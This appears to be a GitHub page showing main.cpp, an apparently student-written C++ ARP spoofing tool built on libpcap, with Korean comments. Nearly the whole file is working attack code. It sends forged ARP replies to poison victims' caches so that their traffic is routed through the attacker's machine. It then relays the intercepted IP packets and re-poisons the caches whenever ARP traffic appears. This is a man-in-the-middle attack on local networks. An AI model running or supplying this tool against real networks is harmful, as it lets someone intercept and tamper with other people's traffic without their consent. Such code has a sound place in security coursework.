-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
316 lines (251 loc) · 6.75 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
#include <cstdio>
#include <pcap.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <unistd.h>
#include <string.h>
#include "libnet.h"
#include "ethhdr.h"
#include "arphdr.h"
#define MAC_SIZE 6
#pragma pack(push, 1)
struct ipv4_hdr final { //ip 헤더 구조체
uint8_t version_ihl;
uint8_t type_of_service;
uint16_t total_length;
uint16_t packet_id;
uint16_t fragment_offset;
uint8_t time_to_live;
uint8_t next_proto_id;
uint16_t hdr_checksum;
uint32_t src_addr;
uint32_t dst_addr;
};
struct EthIpPacket final { //ip 패킷 구조체
EthHdr eth_;
ipv4_hdr ip_;
};
struct EthArpPacket final {
EthHdr eth_;
ArpHdr arp_;
};
struct flow final { //여러 쌍을 처리하기 위한 flow
Ip sender_ip;
Mac sender_mac;
Ip target_ip;
Mac target_mac;
};
#pragma pack(pop)
Ip get_ip(char* interface);
Mac get_mac(char* interface);
Mac get_want_mac(pcap_t* handle, Ip my_ip, Mac my_mac, Ip want_ip);
void arp_spoof(pcap_t* handle, Mac my_mac, flow* list, int flag);
void packet_relay(pcap_t* handle, const u_char* packet, Ip my_ip, Mac my_mac, flow* list, int flag);
void usage() {
printf("syntax: send-arp-test <interface> <sender ip> <target ip> [<sender ip 2> <target ip 2>]\n");
printf("sample: send-arp-test wlan0 192.168.10.2 192.168.10.1\n");
}
int main(int argc, char* argv[]) {
if ((argc%2 != 0) || argc < 4) {
usage();
return -1;
}
char* dev = argv[1];
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t* handle = pcap_open_live(dev, BUFSIZ, 1, 1, errbuf);
if (handle == NULL)
{
fprintf(stderr, "couldn't open device %s(%s)\n", dev, errbuf);
return -1;
}
Ip my_ip;
Mac my_mac;
my_ip = get_ip(dev);
my_mac = get_mac(dev);
struct flow flow_list[(argc-2)/2];
int flag = 0;
for(int i=2;i<argc;i+=2)
{
Ip sender_ip;
Mac sender_mac;
Ip target_ip;
Mac target_mac;
sender_ip = Ip(argv[i]);
sender_mac = get_want_mac(handle, my_ip, my_mac, sender_ip);
target_ip = Ip(argv[i+1]);
target_mac = get_want_mac(handle, my_ip, my_mac, target_ip);
flow_list[flag].sender_ip = sender_ip;
flow_list[flag].sender_mac = sender_mac;
flow_list[flag].target_ip = target_ip;
flow_list[flag].target_mac = target_mac;
flag++;
}
for(int o=0;o<flag;o++)
{
printf("target mac %d: %s\n", o+1,std::string(flow_list[o].target_mac).c_str());
printf("sender mac %d: %s\n", o+1,std::string(flow_list[o].sender_mac).c_str());
}
arp_spoof(handle, my_mac, flow_list, flag);
while(1)
{
struct pcap_pkthdr* header;
const u_char* packet;
int res = pcap_next_ex(handle, &header, &packet);
if (res == 0) continue;
if (res == PCAP_ERROR || res == PCAP_ERROR_BREAK)
{
printf("pcap_next_ex return %d(%s)\n", res, pcap_geterr(handle));
exit(1);
}
packet_relay(handle, packet, my_ip, my_mac, flow_list, flag);
}
pcap_close(handle);
}
Ip get_ip(char* interface)
{
uint32_t my_ip;
struct ifreq ifr;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
printf("socket error\n");
exit(1);
}
strcpy(ifr.ifr_name, interface);
if(ioctl(sockfd, SIOCGIFADDR, &ifr) < 0)
{
printf("ioctl failed\n");
exit(1);
}
memcpy(&my_ip, ifr.ifr_hwaddr.sa_data + 2, sizeof(my_ip));
close(sockfd);
uint32_t tosend = ntohl(my_ip);
return Ip(tosend);
}
Mac get_mac(char* interface)
{
uint8_t my_mac[6];
struct ifreq ifr;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
printf("socket error\n");
exit(1);
}
strcpy(ifr.ifr_name, interface);
if(ioctl(sockfd, SIOCGIFHWADDR, &ifr) < 0) {
printf("ioctl failed (Mac)\n");
exit(1);
}
memcpy(my_mac, ifr.ifr_hwaddr.sa_data, sizeof(my_mac));
close(sockfd);
return Mac(my_mac);
}
Mac get_want_mac(pcap_t* handle, Ip my_ip, Mac my_mac, Ip want_ip)
{
EthArpPacket arp_request;
Mac want_mac;
arp_request.eth_.smac_ = my_mac;
arp_request.eth_.dmac_ = Mac("ff:ff:ff:ff:ff:ff");
arp_request.eth_.type_ = htons(EthHdr::Arp);
arp_request.arp_.hrd_ = htons(ArpHdr::ETHER);
arp_request.arp_.pro_ = htons(EthHdr::Ip4);
arp_request.arp_.pln_ = Ip::SIZE;
arp_request.arp_.hln_ = Mac::SIZE;
arp_request.arp_.op_ = htons(ArpHdr::Request);
arp_request.arp_.smac_ = my_mac;
arp_request.arp_.sip_ = htonl(my_ip);
arp_request.arp_.tmac_ = Mac("00:00:00:00:00:00");
arp_request.arp_.tip_ = htonl(want_ip);
int res = pcap_sendpacket(handle, reinterpret_cast<const u_char *>(&arp_request), sizeof(EthArpPacket));
if (res != 0)
{
printf("send error\n");
exit(1);
}
while (1)
{
struct pcap_pkthdr* header;
const u_char* packet;
int res = pcap_next_ex(handle, &header, &packet);
if (res == 0) continue;
if (res == PCAP_ERROR || res == PCAP_ERROR_BREAK)
{
printf("pcap_next_ex return %d(%s)\n", res, pcap_geterr(handle));
break;
}
EthArpPacket arp_reply;
memcpy(&arp_reply, packet, sizeof(EthArpPacket));
if((arp_reply.eth_.type() == EthHdr::Arp) && (arp_reply.arp_.sip() == want_ip))
{
want_mac = arp_reply.eth_.smac();
printf("want mac: %s\n",std::string(want_mac).c_str());
break;
}
}
return want_mac;
}
void arp_spoof(pcap_t* handle, Mac my_mac, flow* list, int flag)
{
for(int i=0;i<flag;i++)
{
EthArpPacket packet;
packet.eth_.dmac_ = list[i].sender_mac;
packet.eth_.smac_ = my_mac;
packet.eth_.type_ = htons(EthHdr::Arp);
packet.arp_.hrd_ = htons(ArpHdr::ETHER);
packet.arp_.pro_ = htons(EthHdr::Ip4);
packet.arp_.pln_ = Ip::SIZE;
packet.arp_.hln_ = Mac::SIZE;
packet.arp_.op_ = htons(ArpHdr::Reply);
packet.arp_.smac_ = my_mac;
packet.arp_.sip_ = htonl(list[i].target_ip);
packet.arp_.tmac_ = list[i].sender_mac;
packet.arp_.tip_ = htonl(list[i].sender_ip);
int res = pcap_sendpacket(handle, reinterpret_cast<const u_char *>(&packet), sizeof(EthArpPacket));
if (res != 0)
{
printf("spoofing send error\n");
exit(1);
}
}
}
void packet_relay(pcap_t* handle, const u_char* packet, Ip my_ip, Mac my_mac, flow* list, int flag)
{
EthIpPacket relay_packet;
EthArpPacket request_packet;
memcpy(&relay_packet, packet, sizeof(relay_packet));
memcpy(&request_packet, packet, sizeof(relay_packet));
if ((relay_packet.eth_.type() == EthHdr::Ip4) && ((Ip)(relay_packet.ip_.dst_addr) != my_ip))
{
relay_packet.eth_.smac_ = my_mac;
for(int i=0;i<flag;i++)
{
if(relay_packet.ip_.src_addr == list[i].target_ip)
{
relay_packet.eth_.dmac_ = list[i].target_mac;
int res = pcap_sendpacket(handle, reinterpret_cast<const u_char *>(&relay_packet), sizeof(relay_packet));
if (res != 0)
{
printf("relay error\n");
exit(1);
}
printf("packet relayed\n");
}
}
}
else if(request_packet.eth_.type()==EthHdr::Arp)
{
for(int i=0;i<flag;i++)
{
if((Ip)(relay_packet.ip_.src_addr) == list[i].sender_ip)
{
arp_spoof(handle, my_mac, list, flag);
printf("table spoofed\n");
}
}
}
}